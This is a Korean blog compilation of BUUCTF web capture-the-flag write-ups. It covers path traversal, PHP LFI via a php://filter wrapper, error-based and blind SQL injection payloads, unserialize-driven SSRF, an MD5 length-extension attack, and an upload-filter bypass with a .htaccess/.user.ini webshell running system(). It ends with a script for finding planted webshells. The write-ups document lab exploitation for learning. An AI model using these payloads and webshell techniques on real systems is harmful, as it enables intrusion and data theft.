문제 이름에서도 알수 있듯이 쿠키 보면 JSESSIONID 박혀있고 servlet mapping되어있는거로 보아 JSP-java로 구현되어있을 확률 99%

 

저기 [도움] 누르면 /Download?filename=help.docx로 이동함

 

 

근데 에러뜨네요

 

한참 헤매다 왜안되지 하면서 라업 봤는데 ㅡㅡ?

 

 

메서드 post로 바꾸니 된단다

ㅋㅋ.ㅋㅋ

 

/WEB-INF/web.xml 받고보면 FlagController가 있다.

 

com.wm.ctf.FlagController

 

모의해킹 많이 해본분들은 알겠지만 jsp 구조에서 /WEB-INF/web.xml에서 서블릿 매핑이나 클래스 참조같은거 설정하고, 여기에 설정된 클래스 이름대로 /WEB-INF/classes/ 밑에 디렉터리 구조로 들어가게 된다

 

따라서 /WEB-INF/classes/com/wm/ctf/FlagController.class 를 다운받으면 됨

 

flag base64 풀면 flag 획득

음.. 뭔가 똥내가 킁킁

 

 

 

lfi(local file include) 취약점이 있는 페이지이다.

 

 

그럼 바로 flag.php를 가져와보면

 

얘가 나를 놀린다;

 

 

file 말고 php 스키마의 base64 encoding filter 기능을 사용해보자.

 

/secr3t.php?file=php://filter/convert.base64-encode/resource=/var/www/html/flag.php

login, join이 있따.

 

특이하게 blog를 입력받는다

 

가입하고 내 username 클릭해보면 이렇게 내가 입력한 정보들이 나타나고, 밑에 frame에 blog주소를 띄워준다.

 

 

robots.txt를 보면 /user.php.bak을 준다.

 

소스를 받아보면,

 

대놓고 ssrf 취약점이 있는데 isValidBlog로 인해 정상적인 가입으로는 file:// 같은 스키마를 사용할 수 없다.

 

 

 

 

아까 게시판 같은 기능을 좀 더 살펴보면 no에 sqli vuln이 있는것을 확인할 수 있다.

 

몇가지 좀 하다보면 union sqli attack이 가능한것을 확인할 수 있다. union이랑 공백이 같이오면 ban이라 /**/로 우회했다.

 

error based sqli로 데이터를 가져와보자

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

 

대충 가져와보면 글자수 짤리는게 있는데 그런건 substr로 잘 잘라서 찔끔씩 보면 보인다.

 

어쨌든 스키마,테이블,컬럼, 내부데이터 다 추출해보면

 

#fakebook
 - users
  -> no
  -> username
  -> passwd
  -> data
  -> USER
  -> CURRENT_CONNECTIONS
  -> TOTAL_CONNECTIONS

이런 구조가 된다.

 

아직 모르는게 많아서 no,username,passwd,data 까지는 일반적인 데이타인데 뒤에 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 얘네는 뭐하는 애들인지 잘 모르겠다. 외부 table이랑 join된건가? 아니면 view랑 join된건가..?

 

어쨌든 필요한건 data인데, 앞에 no, username, passwd는 우리가 입력한 값이 박히는데(passwd는 해싱돼서 박히긴한다) data는 뭔가 구조가 이상꾸리하게 생겼다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:13:"http://a.com/";}

sqli 하다보면 serialize() 에러가 종종 뜨는데, 딱 생긴것만 봐도 serialize/unserialize인걸 모른다면 그런 에러메세지로 유추할 수도 있다.

 

이제 이걸 union에 넣으면 우리가 원하는 데이터를 unserialize해서 화면에 뿌려줄것이다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:18:"file:///etc/passwd";}

 

이제 flag.php를 같은 방식으로 가져오면,

 

접속하면 소스코드 준다. 근데 github 링크도 줘서 들가보면 문제 아카이빙 되어있는데 아마 정황상 실제 ctf에 출제됐을 당시엔 app.py의 소스코드만 공개되어있던것 같다. (이유는 뒤에 가면 나옴)

 

 

코드오디팅이야 각자 문제 코드 보시고, 중요한 부분만 살펴보면.

 

Exec 함수가 실제 사용자의 input action에 따라 동작을 수행하는 곳이다.

 

특이하게 살펴볼 곳은, if 'scan' in self.action과 if 'read' in self.action이 elif로 묶인게아니라 별도로 if로 되어있는것, 그리고 action을 ==이나 ===으로 일치를 보는게 아니라 'in' 키워드로 문자열에 속하는지를 통해 검증하는것이다.

 

위 코드는 sign값을 만들어내어 유저에게 전달해주는 함수이다. 코드 상 self.action은 scan으로 고정되어있기때문에 read action에 대한 sign값은 os.urandom(16)으로 정해진 secret_key로 해싱하기 때문에 예측할 수 없다. (현재로서는)

 

실제 sign을 만들어내는 함수로써, user input인 action과 param을 받아 secret_key와 더하여 md5 해싱한다.

여기서 주목할 점은 본래 argument가 action, param순으로 되어있는데 구욷이 key+param+action 순으로 더하여 해싱한다는 것이다. (나름의 힌트가 아니었을까)

 

뭐 앞단의 검증들이 끝나면 urllib.urlopen으로 param값을 넘기는 전형적인 ssrf형태의 코드가 나온다.

 

또 뭐 앞에 waf라고 해서 file이랑 gopher 스키마를 막는 구문이 있긴한데 이건 그냥 urllib.urlopen('/etc/passwd')로 하면 바로 파일 접근이 가능하기에 쉽게 우회될 수 있따.

 


 

그럼 이제부터 어떻게 풀어나갈지 한번 살펴보자

 

특이점

1. if elif가 아닌 if if로 되어있음 (앞의 if문이 충족해도 뒤의 if문까지 실행됨)

2. ==, ===가 아닌 in 키워드로 action 값 검증

3. key+param+action 순서의 md5 해싱

4. 굳이 md5로 해싱?

 

이를 살펴보면, 우리가 만약

 

1. 'scanread' 형식으로 action을 준다면?

 - if if로 되어있기 때문에 in 키워드를 if 'scan' in action과 if 'read' in action 조건을 둘다 만족시켜 read 구문까지 실행될 수 있다.

2. key+param+scan + read 형식의 md5를 예측할수있다면?

 - sign값을 알기 때문에 정상 요청이 가능하다!

 

이 문제를 풀기 전에 codegate 2020 csp 문제를 풀어봤기 때문에 length extension attack에 대하여 알고 있는 상태였따.

 

md5에 대한 length extensio attack을 할 수 있는 툴로는 'HashPump'가 있다.

 

이를 통해 length extension attack을 한다면 우리는 scan과 read를 동시에 하며 ssrf를 통한 lfi(local file include)가 가능해질것이다.

 


 

 

action : scan

param : /etc/passwd

일때 sign 값

 

 

known hash와 data1에 data2를 더했을 때의 예측 md5값과 modified data

 

 

실제 요청 쿼리

 - /etc/passwd가 잘 가져와짐!

 

 

 

이제 여기서부터가 실제 ctf랑 달랐던 부분인데,

 

실제 ctf에선 'flag is in ./flag.txt'가 hint로 나왔나보다.

 

근데 난 flag.sh에서 flag경로가 나와서 ('/app/flag.txt') 그냥 바로 /app/flag.txt를 lfi로 가져왔는데, ctf에선 현재경로의 flag.txt를 구하라고 했다.

 

구하는 방법은, /proc/self/cwd/ 는 현재 실행된 프로세스를 실행한 디렉터리와 링킹되어있다.

 

따라서 /proc/self/cwd/flag.txt 가져오면 ./flag.txt와 동일하게 된다.

 

 

flag get!

냉무

 

앞에서부터 뿌시기로 했으니 쓴다만 이 문제는 쓸 가치도 없다

1 - Hello, glzjin wants a girlfriend

2 - Do you want to be my girlfriend?

 

 

전형적인 blindsqli

 

이외엔 error 뿜는다

 

여러가지 필터링인데 () select from 안막아놨으니 걍 blind sqli 돌리면 됨

 

공백 필터링 되어있는데 %09로 이용가능

 

걍 뚝딱 하면 됨

 

 

갑자기 난이도가 떡락했넹

첨부터 깃헙링크를 준다.

 

코드 오디팅을 해보자.

 

 

대충 코드해석 해보면

1. 내 공인ip md5해서 내 고유 디렉터리 생성

2. 거기에 빈 파일인 index.php 생성 ( /upoad/{md5(myip)}/index.php )

3. 확장자에 ph 나 htacess 가 들어가면 ban

4. 파일 내용에 <? 가 들어가면 ban

5. exif_imagetype이 false이면 ban

6. 유효성 검증이 끝나면 내가 올린 파일명으로 파일 생성

 

 

굳이 index.php를 만드는게 힌트라면 힌트인것 같다.

 

어떻게 업로드하지 고민고민하던중 preg_match에 'htacess'가 들어가면 ban이라는걸 보았다.

 

어라.. .htaccess 인데 htacess... c가 하나 빠졌다

 

아! 필터링 실수를 의도하고 낸 문제구나 하고 .htaccess로 익스하기위해 열과 성을 쏟아부었지만.. 왜인지 안되었다.

 

내 서버에도 똑같이 세팅하고 올려봤는데 내서버에선 웹쉘이 잘 동작하는데 문제서버에선 안되었다,,,

 

 

일단 다른 문제에서도 .htaccess를 업로드하여 문제를 풀어야 할 경우를 대비해 팁을 적어보자면 

 

위 상황에서 필터링을 우회하기 위해선

 

3. 확장자에 ph 나 htacess 가 들어가면 ban

 - .php가 아닌 다른 확장자의 파일을 실행파일로 인식하도록 함

  -> AddType application/x-httpd-php .png

 - htacess라고 잘못 필터링 되어있으므로 .htaccess를 업로드하는데에 아무 문제가 되지 않음

  

4. 파일 내용에 <? 가 들어가면 ban

 - .htaccess 설정을 제어하여 멀티바이트 캐릭터로 인식하도록 할 수 있다.

  -> php_value zend.multibyte 1

  -> php_value zend.detect_unicode 1

  -> 실제 업로드 파일을 <\x00?\x00p\x00h\x00p\x00 ... 중략 ... 이런식으로 멀티바이트 캐릭터로 구성

 

5. exif_imagetype이 false이면 ban

 - exif_imagetype에서 바라보는 image extension들이다.

https://www.php.net/manual/en/function.exif-imagetype.php

 

 - 해당 이미지 타입에 대하여 헤더를 검사하는 방식으로 이미지인지 아닌지를 판단한다.

 - 각 이미지 타입별로 어디까지 이미지 헤더를 검사하는지 (몇 바이트를 검사하는지)는 이미지 타입마다 다르다. 관심있는 분은 직접 해당 소스코드를 찾아봐도 괜찮을 것이다.

 - 찾아보니 쓸만한 이미지헤더론 'GIF89a'와 '\x00\x00\x89'가 있었다

 - 나는 후자인 '\x00\x00\x89' 를 이용하여

 

\x00\x00\x89\x0d\x0a<\x00?\x00p\x00h\x00p\x00 ... 중략 ...

 

이와같은 식으로 멀티바이트 웹쉘을 만들 수 있었다.

 

이를 실제로 내 서버에 htaccess를 적용하였을 때 위와같은 웹쉘 파일을 .png로 실행시키는것이 가능하였다.

 

그래서 다 풀었다고 생각하고 문제서버에 적용했는데 왠걸? 안되는것이다.

 

내가 놓친것이 있을까 하였는데 모르겠어서 라업을 찾아봤따.

 

 

아.. 문제 서버가 nginx로 운영중인것이 힌트였던 것 같다.

 

nginx 서버가 fastcgi 설정이 켜져있을 경우 .htaccess를 통해 서버 설정을 바꾸어 웹쉘을 업로드하는것과 비슷하게 .user.ini 파일을 업로드하여 내 마음대로 동작하게 할 수 있다고 한다.

 

이때 이용하는 설정으론 auto_prepend_file={file} 으로, 해당 옵션이 있으면 include('./header.php')와 비슷한 효과를 낸다.

 

모든 페이지에서 auto_prepend_file로 설정된 파일을 include 하게 되는데, 여기에 웹쉘을 작성하면 되고, 웹쉘은 <script language='php'>system('ls -al /;');</script> 와 같이 실행시킬 수 있다고 한다(신기..)

 

.user.ini

GIF89a=1

auto_prepend_file=a.png

 

a.png

GIF89a=1

<script language="php">system('ls -al');</script>

 

  1. ar9ang3 ar9ang3 2020.02.15 18:02 신고

    중요한 내용을 빼먹었는데, .htaccess를 통한 익스가 안되는 이유는 nginx에서 fasgcgi를 이용하여 요청을 처리하기 때문에 handler(.htaccess)를 거치지 않는것 (?)이라 한다.
    @posix

계산기

 

버튼 투르면 /calc.php?num= 로 ajax request 날린다

 

eval($_GET[num])으로 서버단 코드를 예상해볼 수 있다

 

근데 필터링이 좀 있는데 0x4 같은 16진수 표현도 안되는거 보니 '/[0-9]/'로 필터링 걸려있는 것 같다.

 

 

역시 또 한참 헤매다 라업 봤는데

 

와.. 이건 진짜 몰랐다.

 

 

?num=0x1   -> filtered

?%20num=0x1  -> ok  - num=1

?%20num[123=0x1  -> ok - num_123=1

?%20num[123%00456=0x1  -> ok -num_123=1

 

 

waf와 php에서 uri를 파싱하여 파라미터를 가져오는 방식의 차이에서 발생할수도 있는 문제라고 한다.

 

뭐.. 쨌든 이렇게 구하면 var_dump(scandir('/')) 이런거 하면 되는데

 

'," 이런것도 필터링이라 그냥 var_dump(scandir(chr(0x2f))) 이런거 해보면 될거같다

 

ㅇㅋㅇㅋ

 

var_dump(file_get_contents(var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)))

 

음.. 또 개발 중국어 번역..

 

대충 www.tar.gz를 받아야 할거 같다

 

받아보면 3003개의 php파일이 있다.

 

이런 난독화?된 php 소스들이 3003개인건데, system, eval 과 같이 웹쉘로 이용될 수 있는 함수들이 보인다.

 

한마디로 문제의 논지는 해커가 웹서버를 해킹하여 웹쉘을 올려놨는데 3003개중에서 웹쉘로 이용될 수 있는 아이를 찾아 실행시켜야 하는것이다.

 

 

솔직히 말하자면 이문제에 삽질 너무 했다..(많이는 아니지만)

 

코드를 보면 함수도 선언되어있고 system에 $_GET으로 user input을 받는데 3항 연산자로 선언하여 결국엔 user input이 system과 같은 함수에 도달하지 못하는 경우도 있고.. 주석 안에 코드가 있는 경우도 있고 뭐 이런 여러가지 난독화 기법이 걸려있었다.

 

나는 이를 optimization해야 하는 문제라 생각하여 주석을 지우고 쓸데없는 함수(선언되지 않고 정의만 된 함수)를 삭제하고 뭐 이런걸 했는데 optimizing을 어느정도 다 했는데 시스템 명령을 실행할 수 있는 함수가 없는것이다 (..!)

 

사실 optimizing을 하면서도 뭔가 '아 이렇게 고생할거면 그냥 get,post user input만 파싱해와서 쭉 브포때리면 되지 않을까' 생각은 했었는데 optimizing 자체에 목표가 생겨버려서(?) 하다보니 해답과는 멀어진것 같다.

 

쨌든

 

optimization을 하는 코드만 첨부하고 이번 문제는 마무리하겠당.

 

뭐 이 코드에서 get,post 파싱하는 부분도 있으니 이거 가져와서 쭉쭉 짜면 될거같은데 귀찮아서 그냥 라업보고 풀었다

 

#-*-coding: utf-8-*-
import requests
import sys
import urllib
import time
import sys
import struct
import os
import locale
import re
locale.getpreferredencoding()
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

with open('eval_var.txt','rb') as f:
    eval_vars = f.read().split('\n')

fun_re = re.compile('function \w{1,15}\(.+\)\{.+\}',re.DOTALL)

cnt = 0
for x in os.walk('src/'):
    x[2].sort()
    for files in x[2]:
        #print '[+] doing this.. {}'.format(files)
        with open('./src/'+files,'rb') as f:
            lines = f.read()
        tr = ''
        
        # removing comment
        if '/*' in lines:
            tr += lines.split('/*')[0]
            #print lines.split('/*')
            for i in lines.split('/*')[1:]:
                try:
                    tr += i.split('*/')[1]
                except:
                    print 1-2
        lines = tr
        tr = ''

        # removing unuse functions
        p = re.compile('function (\w|\d){1,20}\(\)')
        if p.findall(lines):
            tr += lines.split('function ')[0]
            for i in lines.split('function ')[1:]:
                fn = i.split('()')[0]
                if len(re.compile(fn).findall(lines)) > 1:
                    tr += 'function {}\n'.format('}'.join(i.split('}\n    \n')))
                else:
                    tr += '}'.join(i.split('\n    \n}')[1:])
                        

        lines = tr

        # removing unuse $_GET / $_POST

        p = re.compile("\$_((GET)|(POST))\[\\'.*\\'\]")
        tr = ''
        if p.findall(lines):
            t = lines.split('\n')
            for i in t:
                if p.findall(i):
                    if re.compile("\$_((GET)|(POST))\[.*\] \?\? ' '").findall(i):
                        pass
                    elif re.compile("\$_((GET)|(POST))\[.*\] = ' ';").findall(i):
                        pass
                    elif re.compile("\$_((GET)|(POST))\[\\'.*\\'\] \?\? \\' \\'").findall(i):
                        pass
                    else:
                        if re.compile("echo `{\$_GET\['.*'\]}`;").findall(i):
                            varname = re.compile("echo `{\$_GET\['").split(i)[1].split("'")[0]
                            if len(re.compile(varname).findall(lines)) == 1:
                                print 'high availability - {} : {}'.format(files, i)
                                print len(re.compile(varname).findall(tr))
                                exit(1)
                            else:
                                for jj in tr.split('\n'):
                                    if varname in jj:
                                        print files
                                        print jj
                                        print '--------------\n'
                        else:
                            print'-----------------'
                            print i
                            print'-----------------'
                            print lines
                            exit(1)
                           
                            
                        tr += i+'\n'
                else:
                    tr += i+'\n'

        lines = tr

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [SUCTF 2019]CheckIn1  (1) 2020.02.15
[BUUCTF] - [RoarCTF 2019]Easy Calc1  (0) 2020.02.14
[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13

+ Recent posts